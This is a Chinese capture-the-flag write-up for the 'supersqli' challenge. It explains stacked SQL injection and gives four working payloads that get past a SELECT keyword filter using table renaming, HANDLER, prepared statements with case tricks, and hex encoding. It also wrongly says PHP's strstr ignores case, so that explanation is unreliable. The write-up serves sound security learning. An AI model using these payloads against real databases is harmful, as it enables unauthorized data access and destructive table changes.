supersqli

supersqli

测试

1回显正常

1 and 1=2回显正常 ,说明是字符型注入

1'回显报错

1' -- +回显正常,说明后台是以 select * from table_name where id=的形式查询

爆列数

1' order by 1 -- + 回显正常

1' order by 2 -- +回显正常

1' order by 3 -- + 回显报错,说明列数为2

然后按一般套路,接下来是union select 联合查询,但是返回的是

preg_match("/select|update|delete|drop|insert|where|./i",$inject);

说明过滤了以上的字符,select被过滤导致我们无法使用联合查询。

这里没有过滤分号,我们试着用堆叠注入

爆表名

1';show tables;-- +

表名: `1919810931114514`,"words"

这里注意以纯数字构成的表名,需要用飘号引起来(包括sql语句的时候,也要如此)。

爆列名

1';show columns from words;-- +

1';show columns from `1919810931114514`;-- +

words表

id int(10) NO

data varchar(20) NO

1919810931114514表

flag varchar(100) NO

思路一

这里我们可以得知回显的内容是words表中的内容,并且这时没有过滤rename.我们可以把words表改成别的名字,这里改成word表,然后将1919810931114514表改成words表,这时1919810931114514表只有flag一个字段,再利用alter向1919810931114514表添加一个id列名,这时就符合了后台查询语句

select * from words where id=

注意,这时我们flag对应id的值为空此时,所以我们要用or 1=1来爆出全部数据,即flag.

payload:

1';rename table words to word;rename table `1919810931114514` to words;alter table words add id int(3);-- +

思路二

我们观察到,没有过滤handler.所以我们尝试使用handler.

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

handler 基本语法

handler table_name open;
handler table_name read first;
handler table_name read next;
handler table_name close;

handler用法参考博客

构造payload

1';handler `1919810931114514` open;handler `1919810931114514` read first;-- +

思路三

这里没有过滤set,prepare,execute,所以我们尝试使用预编译.

预处理 SQL
  但是,绝大多数情况下,某需求某一条SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
  所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
  预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

具体事例可参考https://www.runoob.com/php/php-mysql-prepared-statements.html

我们这里所谓的用预编译并没有跟上述描述的那样使用占位符,而是指的是使用了预编译的处理语句.

我们通过set和concat来绕过select

set @sql=concat('sele','ct * from `1919810931114514`');

set 的变量名前面要加个@,若不加,虽然可以执行命令,但是会报错,@是定义一个用户自定义变量的意思

通过prepare来定义一个模板(这个模板没有占位符,而是直接具体的)

prepare aaa from @sql;

通过execute来执行模板

execute aaa;

构造payload

1';set @sql=concat('sele','ct * from `1919810931114514`');prepare aa from @sql;execute aa;- -+

这时返回

strstr($inject, "set") && strstr($inject, "prepare")

strstr函数会返回匹配到字符后面包括字符的所有字符。

如:

strstr('hello world!','world')  //会返回world!

因为这个函数不区分大小写,所以我们使用大小写绕过

1';Set @sql=concat('sele','ct * from `1919810931114514`');prepare aa from @sql;Execute aa;- -+

思路四

这里依然使用预编译,只不过不用concat绕过select,而是用16进制来进行绕过

select hex('select * from `1919810931114514`');

利用mysql自带hex函数得到1919810931114514的十六进制

73656C656374202A2066726F6D20603139313938313039333131313435313460

这里为什么不用那些十六进制网站,因为有些网站转换出来的16进制和我们用hex函数转换出来的不一样,而实际上hex转换出来的才有用,所以我们尽量使用hex函数得出十六进制

payload:

1';Set @sql=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare a from @sql;execute a;-- +
原文地址:https://www.cnblogs.com/NineOne/p/13843432.html